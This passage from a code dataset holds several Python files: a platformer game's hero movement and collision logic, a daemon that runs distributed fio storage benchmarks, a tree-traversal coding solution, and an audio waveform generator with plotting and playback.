my_mapLayer.x -= self.distance/4\n my_mapLayer.x2 -= self.distance/2\n for i in range((tile_map.mapSizeY)):\n for j in range((72)):\n tile_map.x[i][j] -= self.distance\n else:\n self.state = self.RIGHT_STAND\n pass\n\n def handle_right_stand(self):\n if self.Right_Check == True:\n self.state = self.RIGHT_RUN\n if self.Left_Check == True:\n self.state = self.LEFT_RUN\n pass\n\n def handle_left_knock(self,knockback):\n pass\n\n def handle_right_knock(self):\n pass\n\n handle_state = {\n LEFT_RUN: handle_left_run,\n RIGHT_RUN: handle_right_run,\n LEFT_STAND: handle_left_stand,\n RIGHT_STAND: handle_right_stand,\n LEFT_KNOCK_BACK : handle_left_knock,\n RIGHT_KNOCK_BACK : handle_right_knock\n }\n\n def __init__(self):\n global font,my_map,tile_map,my_mapLayer , slime\n self.Left_Check = False\n self.Right_Check = False\n self.Jump_Check = False\n self.mouse_Check = False\n #self.mouse_RCheck = False\n self.tileColly = False\n self.tileCollx = False\n self.step = False\n self.jumpSpeed = 5\n self.weaponstate = -1\n self.hp = 10\n self.mouseX = 0\n self.mouseY = 0\n self.saveY = 0\n self.saveY2 = 0\n self.saveX = 0\n self.distance = 0\n self.showSize = 0\n self.gravity = 0\n self.mapstate = 0\n self.invincible = False\n self.knockbackdir = 0\n self.knockback = 0\n self.x, self.y = 100, 300\n self.test = 0\n self.jump = 0\n self.herojump = False\n self.firstjump = 0\n self.frame = random.randint(0, 7)\n self.total_frames = 0.0\n self.state = self.RIGHT_STAND\n self.mapx,self.mapy=0,0\n self.mapchange = False\n self.showinventory = False\n\n slime = Slime()\n my_mapLayer = MapLayer()\n tile_map = TileBackground()\n self.tile_map = tile_map\n tile_map.showSize(self.x / 25 - Hero.SHOW_MAP_SIZE-10, 0, self.x / 25 + Hero.SHOW_MAP_SIZE, 24)\n my_map = Map()\n #my_weapon = Weapon()\n font = load_font('ENCR10B.TTF')\n if Hero.image == None:\n Hero.image = load_image('res/Hero.png')\n\n def get_hit(self,knockback,demage,dir):\n #self.knockbackdir = dir\n #self.knockback = knockback\n #self.hp -= demage\n #self.invincible = True\n pass\n\n def draw_bb(self):\n draw_rectangle(*self.get_bb())\n pass\n\n def get_bb(self):\n return self.x -11 , self.y -17 , self.x +11 , self.y+8\n\n\n def changestage(self,stageFrom,stageTo):\n if stageTo == 2:\n my_map.changeMap(2,450*2,450*2)\n my_mapLayer.changeMap(stageTo)\n tile_map.map_02 = copy.deepcopy(tile_map.info_map_02)\n tile_map.tilehp_2 = copy.deepcopy(tile_map.info_map_02hp)\n tile_map.changeStage(tile_map.map_02, 72)\n self.x, self.y = 100, 100\n self.mapchange = True\n\n\n def collide_tiley(self):\n if tile_map.mapstate == 1:\n if (int)(tile_map.mapChange[(int)((self.y-self.gravity-5)/25)][(int)((-self.mapx+900+self.x + 25/2 )/25)] / 10) == 2:\n self.y += self.gravity\n self.gravity = 0\n self.Jump_Check = False\n self.tileColly = True\n self.step = True\n return True\n elif (int)(tile_map.mapChange[(int)((self.y+self.jump+17)/25)][(int)((-self.mapx+900+self.x + 25/2 )/25)] / 10) == 2:\n self.y -= self.jump\n self.gravity = 0\n self.Jump_Check = False\n self.tileColly = True\n self.step = True\n return True\n else :\n self.step = False\n elif tile_map.mapstate == 2: #\n print(self.gravity , self.saveY2 , self.saveY)\n if (int)(tile_map.mapChange[(int)((-self.mapy+900+self.y-self.gravity-5)/25)][(int)((-self.mapx+900+self.x + 25/2 )/25)] / 10) == 2:\n if 0 <= self.y < 300 or my_map.y > 900:\n if self.herojump == True and self.firstjump == 0:\n self.y += self.gravity\n my_map.y -= self.saveY2\n my_mapLayer.y -= self.saveY2/4\n my_mapLayer.y2 -= self.saveY2/2\n for i in range((tile_map.mapSizeY)):\n for j in range((72)):\n tile_map.y[i][j] -= self.saveY2\n self.herojump = False\n elif self.herojump == True and self.firstjump == 1:\n self.y -= self.jump\n my_map.y += ( self.jump)\n my_mapLayer.y += ( self.jump)/4\n my_mapLayer.y2 += (self.jump)/2\n for i in range((tile_map.mapSizeY)):\n for j in range((72)):\n tile_map.y[i][j] +=( self.jump)\n self.herojump = False\n else: # self.y >= 300 and my_map.y <= 900:\n my_map.y -= self.gravity\n my_mapLayer.y -= self.gravity/4\n my_mapLayer.y2 -= self.gravity/2\n self.y = 300\n for i in range((tile_map.mapSizeY)):\n for j in range((72)):\n tile_map.y[i][j]-= self.gravity\n self.saveY = 0\n self.saveY2 = 0\n self.gravity = 0\n self.Jump_Check = False\n self.tileColly = True\n self.step = True\n self.firstjump = 0\n return True\n elif (int)(tile_map.mapChange[(int)((-self.mapy+900+self.y+self.jump+17)/25)][(int)((-self.mapx+900+self.x + 25/2 )/25)] / 10) == 2:\n if 0 <= self.y < 300 or my_map.y >= 900: #올라갈때\n self.y -= self.jump\n self.saveY = 0\n else: # self.y > 300 and my_map.y <= 900:\n my_map.y += self.jump\n my_mapLayer.y += self.jump/4\n my_mapLayer.y2 += self.jump/2\n self.y = 300\n for i in range((tile_map.mapSizeY)):\n for j in range((72)):\n tile_map.y[i][j]+= self.jump\n\n self.gravity = 0\n self.Jump_Check = False\n self.tileColly = True\n self.step = True\n self.saveY = 0\n return True\n else :\n self.step = False\n return False\n\n def collide_tilex(self):\n if tile_map.mapstate == 1:\n if (int)(self.tile_map.mapChange[(int)((self.y)/25)][(int)((-self.mapx+900+self.x+self.distance +11 )/25)] / 10) == 3:\n self.changestage(1,2)\n if (int)(self.tile_map.mapChange[(int)((self.y)/25)][(int)((-self.mapx+900+self.x-self.distance +8)/25)] / 10) == 2:\n self.x += self.distance\n self.tileCollx = True\n return True\n elif (int)(self.tile_map.mapChange[(int)((self.y)/25)][(int)((-self.mapx+900+self.x+self.distance + 17 )/25)] / 10) == 2:\n self.x -= self.distance\n self.tileCollx = True\n return True\n else:\n self.tileCollx = False\n elif tile_map.mapstate == 2:\n if (int)(self.tile_map.mapChange[(int)((-self.mapy+900+self.y)/25)][(int)((-self.mapx+900+self.x-self.distance +8)/25)] / 10) == 2:\n self.x += self.distance\n self.tileCollx = True\n return True\n elif (int)(self.tile_map.mapChange[(int)((-self.mapy+900+self.y)/25)][(int)((-self.mapx+900+self.x+self.distance +17 )/25)] / 10) == 2:\n self.x -= self.distance\n self.tileCollx = True\n return True\n else:\n self.tileCollx = False\n return False\n\n def heroMove(self):\n self.mapx,self.mapy = my_map.x, my_map.y\n self.tile_map = tile_map\n\n #넉백\n if self.knockbackdir == 0:\n if self.x >= 400:\n self.mapx -= self.knockback\n else:\n self.x -= self.knockback\n elif self.knockbackdir == 1:\n if self.x >= 400:\n self.mapx += self.knockback\n else:\n self.x += self.knockback\n if self.knockback < 0:\n self.invincible = False\n self.knockback = 0\n if self.invincible == True:\n self.knockback -= 1\n #\n\n\n #점프\n if my_map.mapState == 1:\n if self.Jump_Check:\n self.jump = self.jumpSpeed - self.gravity\n self.y += self.jump\n self.step = False\n if self.step == False:\n self.y -= self.gravity\n\n elif my_map.mapState == 2: # 300넘어가면 맵을 움직인다\n if self.Jump_Check:\n self.jump = self.jumpSpeed - self.gravity\n if 0 <= self.y < 300 or my_map.y > 900: #올라갈때\n self.y += self.jump\n my_map.y = 900\n self.herojump = True\n else: # self.y >= 300 and my_map.y <= 900:\n my_map.y -= self.jump\n my_mapLayer.y -= self.jump/4\n my_mapLayer.y2 -= self.jump/2\n self.y = 300\n self.saveY += self.jump\n self.saveY2 -= self.jump\n self.herojump = False\n for i in range((tile_map.mapSizeY)):\n for j in range((72)):\n tile_map.y[i][j]-= self.jump\n self.step = False\n if self.step == False: # 점프하지않았을때 중력받게\n if 0 <= self.y < 300 or my_map.y >= 900:\n self.y -= self.gravity\n my_map.y = 900\n else: # self.y > 300 and my_map.y <= 900:\n my_map.y += self.gravity\n my_mapLayer.y += self.gravity/4\n my_mapLayer.y2 += self.gravity/2\n self.y = 300\n self.saveY2 += self.gravity\n for i in range((tile_map.mapSizeY)):\n for j in range((72)):\n tile_map.y[i][j]+= self.gravity\n\n\n\n if my_map.mapState == 1:\n if my_map.x < 0: #맨오른\n tile_map.showSize((-my_map.x+1300) / 25 - Hero.SHOW_MAP_SIZE+2, self.y/25 -Hero.SHOW_MAP_SIZEY-7, (-my_map.x+1300) / 25 + Hero.SHOW_MAP_SIZE+12, self.y/25 +Hero.SHOW_MAP_SIZEY+15)\n elif my_map.x >= 900: #맨왠\n tile_map.showSize((-my_map.x+1300) / 25 - Hero.SHOW_MAP_SIZE-12, self.y/25 -Hero.SHOW_MAP_SIZEY-7, (-my_map.x+1300) / 25 + Hero.SHOW_MAP_SIZE-2, self.y/25 +Hero.SHOW_MAP_SIZEY+15)\n elif -5 <= my_map.x < 905:\n tile_map.showSize((-my_map.x+1300) / 25 - Hero.SHOW_MAP_SIZE, self.y/25 -Hero.SHOW_MAP_SIZEY-7, (-my_map.x+1300) / 25 + Hero.SHOW_MAP_SIZE, self.y/25 +Hero.SHOW_MAP_SIZEY+15)\n\n elif my_map.mapState == 2:\n if my_map.x < 0: #맨오른\n tile_map.showSizeX((-my_map.x+1300) / 25 - Hero.SHOW_MAP_SIZE+2, (-my_map.x+1300) / 25 + Hero.SHOW_MAP_SIZE+12)\n elif my_map.x >= 900: #맨왠\n tile_map.showSizeX((-my_map.x+1300) / 25 - Hero.SHOW_MAP_SIZE-12, (-my_map.x+1300) / 25 + Hero.SHOW_MAP_SIZE-2)\n elif -5 <= my_map.x < 905:\n tile_map.showSizeX((-my_map.x+1300) / 25 - Hero.SHOW_MAP_SIZE, (-my_map.x+1300) / 25 + Hero.SHOW_MAP_SIZE)\n if my_map.y < 0: #맨위\n tile_map.showSizeY((-my_map.y+1300) / 25 - Hero.SHOW_MAP_SIZE-2, (-my_map.y+1300) / 25 + Hero.SHOW_MAP_SIZE+12)\n elif my_map.y >= 900: #맨아래\n tile_map.showSizeY((-my_map.y+1300) / 25 - Hero.SHOW_MAP_SIZE-12, (-my_map.y+1300) / 25 + Hero.SHOW_MAP_SIZE-2)\n elif -5 <= my_map.y <= 905:\n tile_map.showSizeY((-my_map.y+1300) / 25 - Hero.SHOW_MAP_SIZE, (-my_map.y+1300) / 25 + Hero.SHOW_MAP_SIZE)\n\n #print(self.y)\n #타일충돌 함수\n\n self.collide_tilex()\n self.collide_tiley()\n\n\n\n if self.collide_tiley() == False:\n self.gravity += (WORLD_GRAVITY/Slime.RUN_SPEED_PPS*2)\n\n\n def handle_events(self,event):\n if event.type == SDL_KEYDOWN:\n if event.key == SDLK_0:\n self.weaponstate = 0\n if event.key == SDLK_1:\n self.weaponstate = 1\n if event.key == SDLK_2:\n self.weaponstate = 2\n if event.key == SDLK_i:\n if self.showinventory == False:\n self.showinventory = True\n elif self.showinventory == True:\n self.showinventory = False\n if event.key == SDLK_a:\n self.Left_Check = True\n if event.key == SDLK_d:\n self.Right_Check = True\n if event.key == SDLK_w and self.Jump_Check == False:\n self.Jump_Check = True\n self.gravity = 0\n if self.y >= 300 and my_map.y <= 900:\n self.firstjump = 1\n elif event.type == SDL_KEYUP:\n if event.key == SDLK_a:\n self.Left_Check = False\n if event.key == SDLK_d:\n self.Right_Check = False\n if event.key == SDLK_w and self.y <= 90:\n self.Jump_Check = False\n if event.type == SDL_MOUSEBUTTONDOWN:\n self.mouseX = event.x\n self.mouseY = abs(event.y-600)\n self.mouse_Check = True\n elif event.type == SDL_MOUSEBUTTONUP:\n self.mouse_Check = False\n self.mouseX = -10\n self.mouseY = -10\n\n def update(self, frame_time):\n self.distance = Hero.RUN_SPEED_PPS * frame_time\n self.total_frames += Hero.FRAMES_PER_ACTION * Hero.ACTION_PER_TIME * frame_time\n self.frame = (self.frame + 1) % 8\n self.mapstate = my_map.mapState\n self.handle_state[self.state](self)\n self.heroMove()\n #my_weapon.state = self.weaponstate\n tile_map.getHeroSize(self.x, self.y,self.mouseX,self.mouseY,self.distance, self.gravity ,self.state , self.tileCollx, self.tileColly , self.showinventory)\n tile_map.getMapSize(my_map.x, my_map.y, my_map.mapState)\n if self.mouse_Check == True:\n tile_map.blockControl(self.mouse_Check,self.weaponstate)\n self.mouse_Check = tile_map.breakblock(self.mouse_Check,self.weaponstate)\n #my_weapon.update()\n my_map.update()\n tile_map.update()\n\n\n def draw(self):\n my_mapLayer.draw()\n tile_map.draw()\n tile_map.draw_bb()\n my_map.draw()\n if self.weaponstate == 0:\n font.draw(self.x-50, self.y+50, 'Destroy')\n elif self.weaponstate == 1:\n font.draw(self.x-50, self.y+50, 'Make block')\n elif self.weaponstate == 2:\n font.draw(self.x-50, self.y+50, 'GUN')\n else:\n font.draw(self.x-50, self.y+50, 'no Weapon')\n self.image.opacify(1)#random.random()+10) #이미지 투명\n self.image.clip_draw(self.frame * 60, self.state * 60, 60, 60, self.x, self.y)\n\n\n def get_XY(self):\n _x = self.x\n _y = self.y\n return _x,_y","sub_path":"Hero.py","file_name":"Hero.py","file_ext":"py","file_size_in_byte":17910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"242143400","text":"#!/usr/bin/python\n# coding=utf-8\n\nimport django\n\nimport os\nimport sys\nimport time\nimport queue\nfrom multiprocessing import Process, Queue\nimport mmap\nimport contextlib\nimport random\nimport signal\nimport struct\nfrom requests.exceptions import RequestException\nfrom fioapp.fiodistributed.daemon import Daemon\nimport requests\nimport json\nimport threading\nimport ast\nfrom hostapp.hostlist import pool\nimport psutil\n\nmyQueue = Queue(maxsize=100)\n\nclass MyTestDaemon(Daemon):\n def run(self):\n sys.stdout.write('Daemon started with pid {}\\n'.format(os.getpid()))\n\n name_write = '/tmp/write_fifo'\n name_read = '/tmp/read_fifo'\n if os.access(name_write, os.F_OK) == False:\n os.mkfifo(name_write)\n\n write_fd = os.open(name_write, os.O_WRONLY)\n read_fd = os.open(name_read, os.O_RDONLY)\n in_flag = os.read(read_fd, 4)\n in_flag = bytes.decode(in_flag)\n in_msg = os.read(read_fd, int(in_flag))\n in_msg = bytes.decode(in_msg)\n # in_msg = \"{'bs':'128k', 'rw':'write', 'numjobs':1, 'runtime':10, 'size':1, 'directory':'/mnt/test', 'ip':['192.168.4.64', '192.168.4.62']}\"\n in_msg = ast.literal_eval(in_msg)\n # print(in_msg)\n # print('==================================================')\n listIp = in_msg['ip']\n # listIpMove = self.move_one(listIp)\n volume = in_msg['volume']\n umountDict = {'volume': volume}\n del in_msg['ip']\n del in_msg['volume']\n listStart = []\n firstDict_ = {\"read_iops_total\": 0, \"read_lat_peak\": 0, \"write_lat_peak\": 0,\n \"write_bw_total\": 0, \"read_bw_total\": 0, \"write_iops_total\": 0}\n urlStart = '/api/fio/fio_dir_start'\n urlGet = '/api/fio/fio_dir_queue_get'\n # urlMount = '/api/gluster/mount/gluster_volume_mount'\n # urlUmount = '/api/gluster/mount/gluster_volume_umount'\n i = 0\n\n # for ip,ipMove in zip(listIp, listIpMove):\n for ip in listIp:\n # mountDict = {'host':ip, 'volume':volume}\n # self.public_api(ip, urlMount, mountDict)\n t1 = threading.Thread(target=self.public_api, args=(ip, urlStart, in_msg))\n t1.start()\n listStart.append(t1)\n timeStart = time.clock()\n while True:\n dict_1 = {\"read_iops_total\": 0, \"read_lat_peak\": 0, \"write_lat_peak\": 0,\n \"write_bw_total\": 0, \"read_bw_total\": 0, \"write_iops_total\": 0}\n listGet = []\n dictGetBw = {}\n for ip in listIp:\n result = self.public_api(ip, urlGet)\n if result == None:\n continue\n listGet.append(result)\n dictGetBw[ip] = result['read_bw_total'] + result['write_bw_total']\n for j in listGet:\n #以列表返回可遍历的(键, 值) 元组数组\n # for key, value in j.items():\n # print(key,value)\n # print(type(key),type(value))\n # dict_1[key] += value\n dict_1['read_iops_total'] += j['read_iops_total']\n dict_1['read_lat_peak'] += j['read_lat_peak']\n dict_1['read_bw_total'] += j['read_bw_total']\n dict_1['write_iops_total'] += j['write_iops_total']\n dict_1['write_lat_peak'] += j['write_lat_peak']\n dict_1['write_bw_total'] += j['write_bw_total']\n dict_ = dict_1\n\n dict_ = str(dict_)\n dict_list = dict_ + '&' + str(dictGetBw)\n out_flag = str(len(dict_list))\n while len(out_flag) < 4:\n out_flag = \"0\" + out_flag\n s = out_flag + dict_list\n s = str.encode(s)\n print(s)\n os.write(write_fd, s)\n if i == 10:\n break\n i = self.check(firstDict_, dict_, i)\n firstDict_ = dict_\n timeEnd = time.clock()\n if int(timeEnd - timeStart) == 36000:\n break\n time.sleep(1)\n for t in listStart:\n t.join()\n # for ip in listIp:\n # self.public_api(ip, urlUmount, umountDict)\n\n s = str.encode('stop')\n print(s)\n os.write(write_fd, s)\n os.close(write_fd)\n self.stop()\n\n\n def move_one(self, listTest):\n a = [i for i in listTest]\n b = a.pop(0)\n a.append(b)\n return a\n\n\n def check(self, firstSum, lastSum, i):\n if firstSum == lastSum:\n i += 1\n return i\n\n\n def public_api(self, ip, url, data=None):\n try:\n port = '8086'\n url = 'http://' + str(ip) + ':' + port + url\n if data:\n html = requests.get(url, params=data)\n else:\n html = requests.get(url)\n if html.status_code == 200:\n if html.text:\n return json.loads(html.text)\n else:\n return html # (fio测试返回为空,比较特殊)\n except RequestException:\n print('访问api is fail')\n\n\n def stop(self):\n try:\n listIp = pool.get_ip()\n urlStop = '/api/fio/fio_dir_stop'\n for ip in listIp:\n t2 = threading.Thread(target=self.public_api, args=(ip, urlStop))\n t2.start()\n t2.join()\n if os.path.exists(self.pidfile):\n with open(self.pidfile) as f:\n pid = int(f.read())\n os.kill(pid, signal.SIGTERM)\n while psutil.pid_exists(pid):\n os.kill(pid, signal.SIGHUP)\n time.sleep(0.1)\n else:\n print('Not running.', file=sys.stderr)\n raise SystemExit(1)\n except OSError as e:\n if 'No such process' in str(e) and os.path.exists(self.pidfile):\n os.remove(self.pidfile)\n return 'stopped'\n\n\nif __name__ == '__main__':\n PIDFILE = '/tmp/fiodaemon.pid'\n LOG = '/tmp/fiodaemon.log'\n #global myQueue\n daemon = MyTestDaemon(pidfile=PIDFILE, stdout='/dev/stdout', stderr='/dev/stderr')\n if len(sys.argv) != 2:\n print('Usage: {} [start|stop|restart]'.format(sys.argv[0]), file=sys.stderr)\n raise SystemExit(1)\n\n if 'start' == sys.argv[1]:\n daemon.start()\n elif 'stop' == sys.argv[1]:\n daemon.stop()\n elif 'restart' == sys.argv[1]:\n daemon.restart()\n else:\n print('Unknown command {!r}'.format(sys.argv[1]), file=sys.stderr)\n raise SystemExit(1)","sub_path":"www/fioapp/fiodistributed/fiodaemon.py","file_name":"fiodaemon.py","file_ext":"py","file_size_in_byte":6632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"93591448","text":"# - * - coding:utf8 - * - -\n###########################################\n# Author: Tinkle\n# E-mail: shutingnjupt@gmail.com\n# Name: Find Largest Value in Each Tree Row.py\n# Creation Time: 2018/4/8\n###########################################\n'''\nYou need to find the largest value in each row of a binary tree.\n\nExample:\nInput:\n\n 1\n / \\\n 3 2\n / \\ \\\n 5 3 9\n\nOutput: [1, 3, 9]\n'''\n\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def largestValues(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n steps = dict()\n\n def dfs(root, step):\n if root is None:\n return\n if step not in steps:\n steps[step] = root.val\n else:\n steps[step] = max(steps[step], root.val)\n if root.left:\n dfs(root.left, step + 1)\n if root.right:\n dfs(root.right, step + 1)\n\n dfs(root, 0)\n ans = sorted(steps.items(), key=lambda x: x[0])\n ret = list(map(lambda x: x[1], ans))\n\n return ret\n\n def largestValuesBFS(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n if root is None: return []\n queue = [root]\n ret = []\n while (queue):\n tmp = []\n val = None\n for q in queue:\n if q.left:\n tmp.append(q.left)\n if q.right:\n tmp.append(q.right)\n if val is None:\n val = q.val\n else:\n val = max(val, q.val)\n queue = tmp[:]\n ret.append(val)\n return ret\n","sub_path":"Depth-first Search/515. Find Largest Value in Each Tree Row.py","file_name":"515. Find Largest Value in Each Tree Row.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"284801777","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.signal as sc\nimport simpleaudio as sa\nimport os\n\n\nN=50000 # Cantidad de períodos \ncantidad=2 # Cantidad de veces que se repite la señal\nfase = 0 # Fase de la señal en radianes\namp = 1.0 # Ampitud de la señal\nf = 50 # Frecencia de la señal\nfsec = 2500 # Frecuencia de batido\namp2 = 0.1\nfs = 44100 # Frecuencia de muestreo en Hz, ver frecuencias soportadas de\n # la place de sonido\n\n\ndef stop_tx():\n if (sa.PlayObject.is_playing):\n sa.stop_all()\n\n\n# Función senoidal\n# Parámetros:\n# fs --> fecuencia de sampleo\n# f --> frecuencia de la señal de entrada\n# amp --> amplitud del señal de 0 a 1.\n# muestras--> cantidad de veces que se repite la señal\n# fase --> fase de la señal en radianes\n# Devuelve:\n# f1 --> vector de señal de la señal \n# n --> vector de tienpos de sampling \ndef senoidal(fs,f,amp,muestras,fase):\n n = np.arange(0, muestras/f, 1/fs) # Intervalo de tiempo en segundos\n f1=(2**15-1)*amp*np.sin(2*np.pi*f*n+fase) # Definimos el Vector de Frecuencias\n return f1,n\n\n# Función cuadrada\n# Parámetros:\n# fs --> fecuencia de sampleo\n# f --> frecuencia de la señal de entrada\n# amp --> amplitud del señal de 0 a 1.\n# muestras--> cantidad de veces que se repite la señal\n# Devuelve:\n# t --> vector de valores temporales\n# senal --> vector de valores de la señal \ndef cuadrada(fs,f,amp,muestras):\n n = np.arange(0, muestras/f, 1/fs) # Intervalo de tiempo en segundos\n return (2**15-1)*amp*sc.square(2*np.pi*n*f),n\n\n\n\n# Función triangular\n# Parámetros:\n# fs --> fecuencia de sampleo\n# f --> frecuencia de la señal de entrada\n# amp --> amplitud del señal de 0 a 1.\n# muestras--> cantidad de veces que se repite la señal\n# Devuelve:\n# t --> vector de valores temporales\n# senal --> vector de valores de la señal\ndef triangular(fs,f,amp,muestras):\n n = np.arange(0, muestras/f, 1/fs) # Intervalo de tiempo en segundos\n return (2**15-1)*sc.sawtooth(2*np.pi*f*n,1),n\n\n\ndef senoidalSuma(fs,f,amp,muestras,fase,B,amp2):\n n = np.arange(0, muestras/f, 1/fs) # Intervalo de tiempo en segundos\n # Definimos el Vector de Frecuencias\n f1=(2**15-1)*amp*np.sin(2*np.pi*f*n+fase)+(2**15-1)*amp2*np.sin(2*np.pi*B*n) \n return f1,n\n\ndef senoidalB(fs,f,amp,muestras,fase,B):\n n = np.arange(0, muestras/f, 1/fs) # Intervalo de tiempo en segundos\n f1=(2**15-1)*np.sin(2*np.pi*B/2*n*n) #sweept\n return f1,n\n\n# Grafica la señal\ndef graficar(encabezado,funcion,n,xlim):\n global f\n fig = plt.figure(1)\n plt.suptitle(encabezado)\n plt.subplots_adjust(left=0.08, bottom=0.08, right=0.98, top=0.9, wspace=0.4, hspace=0.8)\n \n s1 = fig.add_subplot(1,1,1)\n plt.title(\"Señal\")\n plt.xlabel(\"Tiempo(s)\")\n plt.ylabel(\"Amplitud\")\n plt.xlim(0,xlim)\n s1.grid(True)\n s1.plot(n,funcion*1.65/(2**15-1),'b-')\n plt.show()\n return\n\n\ndef reproducir(note):\n audio = note.astype(np.int16) #tranforma la variable note a entero de 16bits y lo guarda en audio\n for i in range(cantidad):\n play_obj = sa.play_buffer(audio, 1, 2, fs) # sale el audio\n # play_obj.wait_done() # espera que termine la linea anterior\n\n\ndef op_senoidal():\n global f,amp,N,fs,fase\n os.system(\"clear\")\n print(\"==============================\")\n print(\"=======Señal Senoidal=========\")\n print(\"==============================\")\n print(\"La frecuencia de la señal a reproducir es ={}Hz\".format(f))\n print(\"La amplitud de la señal de red \\t\\tamp={}v-->{}%\".format(amp*1.65,amp*100))\n f1,n=senoidal(fs,f,amp,N,fase)\n consulta=input(\"Desea graficar la señal S o N[Enter] :\")\n if consulta=='S' or consulta =='s':\n encabezado=\"Senoidal -->\"+\" f=\"+str(f)+\"Hz\"+\" T=\"+str((1/f)*1000)+\"mseg\"+\" N=\"+str(N)+\" fs=\"+str(fs)+\"Hz\"+\" fase=\"+str(fase*180/np.pi)+\"º\"\n graficar(encabezado,f1,n,2/f)\n consulta=input(\"Desea reproducir la señal S o N[Enter] :\") \n if consulta=='S' or consulta =='s':\n reproducir(f1)\n return\n\ndef op_ruido():\n global fsec,amp2,N,fs\n os.system(\"clear\")\n print(\"==============================\")\n print(\"=======Señal Senoidal=========\")\n print(\"==============================\")\n print(\"La frecuencia de la señal a reproducir es ={}Hz\".format(fsec))\n print(\"La amplitud de la señal de red \\t\\tamp2={}v-->{}%\".format(amp2*1.65,amp2*100))\n f1,n=senoidal(fs,fsec,amp2,N,0)\n consulta=input(\"Desea graficar la señal S o N[Enter] :\")\n if consulta=='S' or consulta =='s':\n encabezado=\"Senoidal -->\"+\" f=\"+str(fsec)+\"Hz\"+\" T=\"+str((1/fsec)*1000)+\"mseg\"+\" N=\"+str(N)+\" fs=\"+str(fs)+\"Hz\"+\" fase=\"+str(fase*180/np.pi)+\"º\"\n graficar(encabezado,f1,n,2/fsec)\n consulta=input(\"Desea reproducir la señal S o N[Enter] :\") \n if consulta=='S' or consulta =='s':\n reproducir(f1)\n return\n\ndef op_cuadrada():\n global f\n os.system(\"clear\")\n print(\"==============================\")\n print(\"=======Señal Cuadrada=========\")\n print(\"==============================\") \n print(\"La frecuencia de la señal a reproducir es ={}Hz\".format(f))\n print(\"La amplitud de la señal de red \\t\\tamp={}v-->{}%\".format(amp*1.65,amp*100)) \n f1,n=cuadrada(fs,f,amp,N)\n consulta=input(\"Desea graficar la señal S o N[Enter] :\")\n if consulta=='S' or consulta =='s':\n encabezado=\"Cuadrada -->\"+\" f=\"+str(f)+\"Hz\"+\" T=\"+str((1/f)*1000)+\"mseg\"+\" N=\"+str(N)+\" fs=\"+str(fs)+\"Hz\"+\" fase=\"+str(fase*180/np.pi)+\"º\"\n graficar(encabezado,f1,n,2/f)\n consulta=input(\"Desea reproducir la señal S o N[Enter] :\") \n if consulta=='S' or consulta =='s':\n reproducir(f1)\n return\n\ndef op_triangular():\n global f\n os.system(\"clear\")\n print(\"==============================\")\n print(\"======Señal Triangular========\")\n print(\"==============================\") \n print(\"La frecuencia de la señal a reproducir es ={}Hz\".format(f))\n print(\"La amplitud de la señal de red \\t\\tamp={}v-->{}%\".format(amp*1.65,amp*100)) \n f1,n=triangular(fs,f,amp,N)\n consulta=input(\"Desea graficar la señal S o N[Enter] :\")\n if consulta=='S' or consulta =='s':\n encabezado=\"Triangular -->\"+\" f=\"+str(f)+\"Hz\"+\" T=\"+str((1/f)*1000)+\"mseg\"+\" N=\"+str(N)+\" fs=\"+str(fs)+\"Hz\"+\" fase=\"+str(fase*180/np.pi)+\"º\"\n graficar(encabezado,f1,n,2/f)\n consulta=input(\"Desea reproducir la señal S o N[Enter] :\") \n if consulta=='S' or consulta =='s':\n reproducir(f1)\n return\n\ndef op_senoidalB():\n global B\n os.system(\"clear\")\n print(\"==============================\")\n print(\"=Señal Barrido de Senoidales==\")\n print(\"==============================\") \n print(\"La frecuencia de la señal a reproducir es ={}Hz\".format(f))\n print(\"La amplitud de la señal de red \\t\\tamp={}v-->{}%\".format(amp*1.65,amp*100)) \n f1,n=senoidalB(fs,f,amp,N,fase,B)\n consulta=input(\"Desea graficar la señal S o N[Enter] :\")\n if consulta=='S' or consulta =='s':\n encabezado=\"Barrido de 2 senoidales-->\"+\" f=\"+str(f)+\"Hz\"+\" T=\"+str((1/f)*1000)+\"mseg\"+\" N=\"+str(N)+\" fs=\"+str(fs)+\"Hz\"+\" fase=\"+str(fase*180/np.pi)+\"º\"\n graficar(encabezado,f1,n,200/f)\n consulta=input(\"Desea reproducir la señal S o N[Enter] :\") \n if consulta=='S' or consulta =='s':\n reproducir(f1)\n return\n\n\ndef op_senoidalSuma():\n global f\n os.system(\"clear\")\n print(\"==============================\")\n print(\"===Señal Suma de Senoidales===\")\n print(\"==============================\") \n print(\"La frecuencia de la señal a reproducir es ={}Hz\".format(f))\n print(\"La amplitud de la señal es={}\".format(amp)) \n f1,n=senoidalSuma(fs,f,amp,N,fase,fsec,amp2)\n consulta=input(\"Desea graficar la señal S o N[Enter] :\")\n if consulta=='S' or consulta =='s':\n encabezado=\"Suma de 2 senoidales -->\"+\" f=\"+str(f)+\"Hz\"+\" T=\"+str((1/f)*1000)+\"mseg\"+\" N=\"+str(N)+\" fs=\"+str(fs)+\"Hz\"+\" fase=\"+str(fase*180/np.pi)+\"º\"\n graficar(encabezado,f1,n,2/f)\n consulta=input(\"Desea reproducir la señal S o N[Enter] :\") \n if consulta=='S' or consulta =='s':\n reproducir(f1)\n return\n\ndef valores():\n global N,fs,amp,fase,cantidad,fsec,f,amp2\n os.system(\"clear\")\n print(\"Los valores actuales son:\")\n print(\"----------------------------------------------------------------------\") \n print(\"La frecuencia de sampling \\t\\tfs={}Hz --> \\tts={:.4f}mseg\".format(fs,1/fs*1000)) \n print(\"La cantidad de períodos es \\t\\tN={}\".format(N))\n print(\"La cantidad de veces a repetir es\\tN1={}\".format(cantidad))\n print(\"----------------------------------------------------------------------\") \n print(\"La frecuencia de red \\t\\t\\tfred={} Hz\".format(f))\n print(\"La amplitud de la señal de red \\t\\tamp={}v-->{}%\".format(amp*1.65,amp*100))\n print(\"La fase de la señal es\\t\\t\\tfase={}*Pi radianes\".format(fase))\n print(\"----------------------------------------------------------------------\") \n print(\"La frecuencia de ruido es 